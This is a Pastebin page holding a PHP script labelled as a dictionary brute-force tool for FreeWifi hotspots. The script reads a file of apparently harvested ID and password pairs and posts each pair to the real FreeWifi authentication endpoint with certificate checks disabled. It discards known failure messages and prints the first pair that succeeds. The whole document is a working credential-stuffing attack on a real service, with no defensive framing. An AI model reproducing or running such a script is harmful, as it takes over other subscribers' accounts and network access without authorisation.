sebbu

FreeWifi BruteForce By Dictionnary

May 29th, 2017
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.00 KB | None | 0 0
  1. <?php
  2. $codes=array();
  3. $fp=fopen('freewifi_codes.txt', 'r');
  4. $next=false;
  5. $l='(?:id|Id|ID|identifiants|IDDfree wifi)';
  6. $p='(?:mp|Mp|MP|Mot de passe|MDP|Mdp|mdp|Mot de passe|mot de pass|pass|M)';
  7. $sep='(?:[:=;])?';
  8. $login='';
  9. $pass='';
  10. $line=0;
  11. while(!feof($fp)) {
  12.     $data=fgets($fp, 4096);
  13.     $line++;
  14.     $data=trim($data);
  15.     if(empty($data)) continue;
  16.     if(strpos($data, '@')!==false) continue;
  17.     if(!$next)
  18.     {
  19.         if(preg_match('/'.$l.'\s*'.$sep.'\s*([0-9]+)(?: Acces refuse pour non paiement)?$/', $data, $matches))
  20.         {
  21.             $login=$matches[1];
  22.             $next=true;
  23.         }
  24.         elseif(preg_match('/([0-9]+)\s*'.$p.'\s*'.$sep.'\s*([0-9a-zA-Z._]+)/', $data, $matches))
  25.         {
  26.             $login=$matches[1];
  27.             $pass=$matches[2];
  28.             $codes[]=array($login, $pass);
  29.             $next=false;
  30.         }
  31.         else {
  32.             var_dump($line, $data);
  33.             var_dump($codes[count($codes)-1]);
  34.             die();
  35.         }
  36.     }
  37.     elseif($next)
  38.     {
  39.         if(preg_match('/'.$p.'\s*'.$sep.'\s*([0-9a-zA-Z._]+)$/', $data, $matches))
  40.         {
  41.             $pass=$matches[1];
  42.             $codes[]=array($login, $pass);
  43.             $next=false;
  44.         }
  45.         else {
  46.             var_dump($line, $data);
  47.             var_dump($codes[count($codes)-1]);
  48.             die();
  49.         }
  50.     }
  51. }
  52. $url='https://wifi.free.fr/Auth';
  53. $c=0;
  54. foreach($codes as list($login, $pass))
  55. {
  56.     $c++;
  57.     $content=sprintf('login=%s&password=%s&submit=Valider', $login, $pass);
  58.     $opts = array(
  59.         'http' => array(
  60.             'method'=>'POST',
  61.             'content'=>$content,
  62.             'header'=>'Content-Type: application/x-www-form-urlencoded',
  63.         ),
  64.         'ssl' => array(
  65.             'verify_peer'=>false,
  66.             'allow_self_signed'=>true,
  67.         ),
  68.     );
  69.     $opt=stream_context_create($opts);
  70.     $data=file_get_contents($url, false, $opt);
  71.     if(strpos($data, 'ERREUR : VOUS ETES DEJA CONNECTE')!==false)
  72.     {
  73.         continue;
  74.     }
  75.     if(strpos($data, 'Erreur d\'authentification FreeWifi')!==false)
  76.     {
  77.         continue;
  78.     }
  79.     if(strpos($data, 'Identifiant FreeWifi inconnu')!==false)
  80.     {
  81.         continue;
  82.     }
  83.     if(strpos($data, 'Erreur interne')!==false)
  84.     {
  85.         continue;
  86.     }
  87.     echo $data;
  88.     var_dump($login, $pass);
  89.     break;
  90. }
  91. var_dump($c);
  92. echo 'fini';
Add Comment
Please, Sign In to add comment